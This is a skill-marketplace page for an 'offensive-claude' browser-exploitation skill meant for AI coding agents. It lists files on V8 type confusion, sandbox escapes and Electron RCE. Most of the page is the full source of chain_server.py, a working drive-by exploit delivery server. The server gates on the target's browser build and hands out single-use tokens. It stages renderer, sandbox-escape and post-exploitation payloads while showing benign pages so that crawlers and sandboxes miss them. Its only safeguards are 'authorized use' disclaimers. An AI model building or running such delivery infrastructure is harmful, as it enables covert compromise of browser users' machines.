hypnguyen1209/offensive-claude / skills/browser-exploitation
browser-exploitation
VerifiedUse when building a client-side browser exploit — V8/JSC JIT type confusion to renderer R/W, V8 heap-sandbox escape, renderer-to-browser sandbox escape (Mojo IPC, GPU/Dawn/ANGLE), Electron/webview IPC abuse, 1-click RCE chains
| File | Kind | Size |
|---|---|---|
| SKILL.md | skill md | 9.6 KB |
| references/clientside-rce-chains.md | markdown | 8.6 KB |
| references/electron-webview-rce.md | markdown | 10.2 KB |
| references/renderer-to-browser-escape.md | markdown | 9.8 KB |
| references/v8-jit-typeconfusion.md | markdown | 9.3 KB |
| references/v8-sandbox-escape.md | markdown | 9.5 KB |
| scripts/chain_server.py | script | 7.7 KB |
| scripts/d8_debug.sh | script | 2.8 KB |
| scripts/electron_audit.py | script | 10.7 KB |
| scripts/mojo_fuzz_harness.py | script | 10.2 KB |
| scripts/sandbox_escape.js | script | 6.2 KB |
| scripts/v8_typer.js | script | 6.3 KB |
scripts/chain_server.py
View on GitHub#!/usr/bin/env python3
"""
chain_server.py — UA/feature-gated staged client-side exploit delivery server.
USAGE:
python3 chain_server.py \
--stage1 renderer.js --stage2 escape.js --stage3 payload.js \
--target-ua 'Chrome/137.0.7151' --target-feature 'WebAssembly,WebGPU' \
--lhost 0.0.0.0 --lport 8080 --one-shot --expire 600
# Serve only stage-1 (e.g. for an Electron XSS->RCE where the chain is shorter):
python3 chain_server.py --stage1 inject.js --lport 8080
PURPOSE:
Stage a 1-click drive-by browser-exploit chain (renderer bug -> sandbox escape -> host) for an
AUTHORIZED red-team delivery. Implements the OPSEC controls from clientside-rce-chains.md:
* UA + JS-feature gating: only the exact target build receives stage-1+; everyone else gets
benign content (protects the 0-day, cuts telemetry, evades passive crawlers/sandboxes).
* single-use, expiring, token-bound stage URLs.
* stage-2/3 released only AFTER stage-1 beacons success (avoids serving the escape to a build
that can't run stage-1, which would just crash and generate dumps).
* structured access log for the operator (and to model what defenders would see).
DEPENDENCIES: python3 stdlib only (http.server). For TLS, front it with a reverse proxy
(caddy/nginx) and rotate cert/JA3 per engagement. AUTHORIZED ENGAGEMENT USE ONLY.
"""
import argparse, http.server, socketserver, time, secrets, json, os, sys, threading
STATE = {
"args": None,
"tokens": {}, # token -> {"stage": int, "ts": float, "used": bool, "ip": str}
"stages": {}, # 1/2/3 -> bytes
}
LOCK = threading.Lock()
GATE_HTML = """<!doctype html><html><head><meta charset=utf-8><title>.</title></head><body>
<script>
(async () => {{
try {{
const ua = navigator.userAgent;
const uaOK = ua.indexOf({target_ua!r}) !== -1;
const feats = {features}; // required JS features for the chain
const featOK = feats.every(f => {{
if (f === "WebAssembly") return typeof WebAssembly === "object";
if (f === "WebGPU") return "gpu" in navigator;
if (f === "SharedArrayBuffer") return typeof SharedArrayBuffer === "function";
return true;
}});
if (!(uaOK && featOK)) return; // non-target: bail silently, benign page
// request a single-use stage token, then pull stage-1
const tok = await fetch("/beacon", {{method:"POST"}}).then(r => r.text());
const s = document.createElement("script");
s.src = "/s1?t=" + tok;
document.head.appendChild(s);
}} catch (e) {{ /* fail benign */ }}
}})();
</script>
<noscript>Loading.</noscript>
</body></html>"""
BENIGN = b"<!doctype html><html><body>OK</body></html>"
def issue_token(ip):
tok = secrets.token_urlsafe(18)
with LOCK:
STATE["tokens"][tok] = {"stage": 1, "ts": time.time(), "used": False, "ip": ip}
return tok
def token_valid(tok, want_stage):
args = STATE["args"]
with LOCK:
t = STATE["tokens"].get(tok)
if not t: return False, "no-token"
if args.expire and (time.time() - t["ts"] > args.expire): return False, "expired"
if args.one_shot and t["used"] and want_stage <= t["stage"]: return False, "reused"
if want_stage > t["stage"] + 1: return False, "out-of-order"
return True, "ok"
def advance_token(tok, served_stage):
with LOCK:
t = STATE["tokens"].get(tok)
if t:
t["stage"] = max(t["stage"], served_stage)
t["used"] = True
class Handler(http.server.BaseHTTPRequestHandler):
def log_message(self, fmt, *a): # structured operator log
print(json.dumps({"ts": time.strftime("%H:%M:%S"), "ip": self.client_address[0],
"ua": self.headers.get("User-Agent", "")[:80],
"path": self.path}), file=sys.stderr)
def _send(self, code, body, ctype="text/html"):
if isinstance(body, str): body = body.encode()
self.send_response(code)
self.send_header("Content-Type", ctype)
self.send_header("Content-Length", str(len(body)))
self.send_header("Cache-Control", "no-store")
self.end_headers()
self.wfile.write(body)
def do_GET(self):
args = STATE["args"]
path = self.path.split("?")[0]
qs = dict(p.split("=", 1) for p in self.path.split("?")[1].split("&")) \
if "?" in self.path and self.path.split("?")[1] else {}
if path == "/" or path == "/index.html":
html = GATE_HTML.format(
target_ua=args.target_ua or "",
features=json.dumps([f for f in (args.target_feature or "").split(",") if f]))
return self._send(200, html)
for n, name in ((1, "/s1"), (2, "/s2"), (3, "/s3")):
if path == name:
if n not in STATE["stages"]:
return self._send(404, BENIGN)
ok, why = token_valid(qs.get("t", ""), n)
if not ok:
return self._send(403, BENIGN) # benign to non-authorized fetchers
advance_token(qs.get("t", ""), n)
return self._send(200, STATE["stages"][n], "application/javascript")
return self._send(200, BENIGN)
def do_POST(self):
path = self.path.split("?")[0]
if path == "/beacon":
tok = issue_token(self.client_address[0])
return self._send(200, tok, "text/plain")
if path in ("/next", "/n"):
# stage-1 reports success -> authorize the next stage pull
length = int(self.headers.get("Content-Length", 0) or 0)
tok = self.rfile.read(length).decode("utf-8", "ignore").strip()
ok, _ = token_valid(tok, STATE["tokens"].get(tok, {}).get("stage", 1) + 1)
if ok:
with LOCK: STATE["tokens"][tok]["stage"] += 1
return self._send(200, "go", "text/plain")
return self._send(403, "no", "text/plain")
return self._send(200, BENIGN)
def main():
ap = argparse.ArgumentParser(description="Gated staged client-side exploit delivery (authorized)")
ap.add_argument("--stage1", required=True, help="stage-1 JS (engine bug + addrof/RW)")
ap.add_argument("--stage2", help="stage-2 JS (V8 sandbox escape)")
ap.add_argument("--stage3", help="stage-3 JS (OS-sandbox escape / post-ex stager)")
ap.add_argument("--target-ua", help="substring the target User-Agent must contain")
ap.add_argument("--target-feature", default="WebAssembly",
help="comma list: WebAssembly,WebGPU,SharedArrayBuffer")
ap.add_argument("--lhost", default="0.0.0.0")
ap.add_argument("--lport", type=int, default=8080)
ap.add_argument("--one-shot", action="store_true", help="each token serves each stage once")
ap.add_argument("--expire", type=int, default=600, help="token TTL seconds (0=never)")
args = ap.parse_args()
STATE["args"] = args
for n, p in ((1, args.stage1), (2, args.stage2), (3, args.stage3)):
if p:
if not os.path.isfile(p):
ap.error(f"stage{n} file not found: {p}")
STATE["stages"][n] = open(p, "rb").read()
print(f"[*] gated chain server on http://{args.lhost}:{args.lport}/", file=sys.stderr)
print(f"[*] gate: UA~{args.target_ua!r} features={args.target_feature} "
f"one_shot={args.one_shot} expire={args.expire}s", file=sys.stderr)
print(f"[*] stages loaded: {sorted(STATE['stages'])}", file=sys.stderr)
print("[!] AUTHORIZED ENGAGEMENT USE ONLY. Rotate infra/cert per op; burn after use.", file=sys.stderr)
class Srv(socketserver.ThreadingMixIn, http.server.HTTPServer): daemon_threads = True
Srv((args.lhost, args.lport), Handler).serve_forever()
if __name__ == "__main__":
main()
Related skills
| Skill | Stars | Updated | Works with | Status | Install |
|---|---|---|---|---|---|
| slack-gif-creatoranthropics/skillsKnowledge and utilities for creating animated GIFs optimized for Slack. Provides constraints, validation tools, and animation concepts. Use when users request animated GIFs for Slack like "make me a GIF of X doing Y for Slack." | Stars: 198k | Updated | Claude CodeCodex | Verified | Install |
| ponytailDietrichGebert/ponytailLazy senior dev mode for any coding task: the smallest change that fully solves it, and a reply a busy human understands in one read. | Stars: 194k | Updated | Claude CodeCodex | Verified | Install |
| ponytail-debtDietrichGebert/ponytailHarvest every shortcut: comment into one debt ledger, so deferrals get tracked instead of forgotten. One-shot report. | Stars: 194k | Updated | Claude CodeCodex | Verified | Install |
| ponytail-debtDietrichGebert/ponytailList every `shortcut:` comment (and older `ponytail:` ones) as a debt ledger. One-shot report, changes nothing. Use for "ponytail debt", "what did ponytail defer", "list the shortcuts", /ponytail-debt. | Stars: 194k | Updated | Claude CodeCodex | Verified | Install |